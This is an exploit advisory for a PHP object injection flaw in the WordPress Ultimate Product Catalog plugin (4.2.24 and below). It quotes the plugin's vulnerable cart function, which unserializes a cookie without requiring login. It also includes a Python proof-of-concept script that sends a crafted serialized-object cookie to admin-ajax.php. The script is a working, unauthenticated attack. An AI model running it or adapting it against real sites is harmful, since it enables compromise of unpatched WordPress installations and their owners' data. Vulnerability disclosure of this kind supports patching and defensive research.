WordPress Ultimate Product Catalog 4.2.24 PHP Object Injection

WordPress Ultimate Product Catalog plugin versions 4.2.24 and below suffer from a PHP object injection vulnerability.


MD5 | 3f4ffd5d0fa22e90026bf5db1d8f6c0b

# Exploit Title: [WP Plugin Ultimate Product Catalog 4.2.24 PHP Object Injection]
# Google Dork: [NA]
# Date: [Okt 30 2017]
# Exploit Author: [tomplixsee]
# Author blog : [cupuzone.wordpress.com]
# Vendor Homepage: [http://www.etoilewebdesign.com/plugins/ultimate-product-catalog/]
# Software Link: [https://wordpress.org/plugins/ultimate-product-catalogue/]
# Version: [<= 4.2.24]
# Tested on: [Ubuntu Server 16.04]
# CVE : [NA]

tested on app version 4.2.23, 4.2.24

we can send an evil cookie (login not required) to vulnerable function
1. vulnerable code on Functions/Process_Ajax.php <= tested

203 // Adds an item to the plugin's cart
204 function UPCP_Add_To_Cart() {
205 global $woocommerce;
206 global $wpdb;
207 global $items_table_name;
208
209 $WooCommerce_Checkout = get_option("UPCP_WooCommerce_Checkout");
210
211 if ($WooCommerce_Checkout == "Yes") {
212 $WC_Prod_ID = $wpdb->get_var($wpdb->prepare("SELECT Item_WC_ID FROM $items_table_name WHERE Item_ID=%d", sanitize_text_field($_POST['prod_ID'])));
213 echo "WC ID: " . $WC_Prod_ID . "<Br>";
214 $woocommerce->cart->add_to_cart($WC_Prod_ID);
215 }
216
217 if (isset($_COOKIE['upcp_cart_products'])) {
218 $Products_Array = unserialize(str_replace('\"', '"', $_COOKIE['upcp_cart_products']));
219 }
220 else {
221 $Products_Array = array();
222 }
223
224 $Products_Array[] = $_POST['prod_ID'];
225 $Products_Array = array_unique($Products_Array);
226 setcookie('upcp_cart_products', serialize($Products_Array), time()+3600*24*3, "/");
227 }
228 add_action('wp_ajax_upcp_add_to_cart', 'UPCP_Add_To_Cart');
229 add_action( 'wp_ajax_nopriv_upcp_add_to_cart', 'UPCP_Add_To_Cart' );

2. vulnerable code on Functions/Shortcodes.php <= not tested

POC
1. use a WP plugin to test php object injection,
like this one https://www.pluginvulnerabilities.com/2017/07/24/wordpress-plugin-for-use-in-testing-for-php-object-injection/

2. make a request
#-----------------------------------
#! /usr/bin/python
import requests
url = "http://vbox-ubuntu-server.me/wordpress/wp-admin/admin-ajax.php?";
data = {'action':'upcp_add_to_cart'}
headers = {
'Content-type': 'application/x-www-form-urlencoded',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8',
'Cookie': 'upcp_cart_products=O:20:"PHP_Object_Injection":0:{}'
}
r = requests.post(url, data=data, headers=headers)

print r.content

#------------------------------------


Related Posts

Comments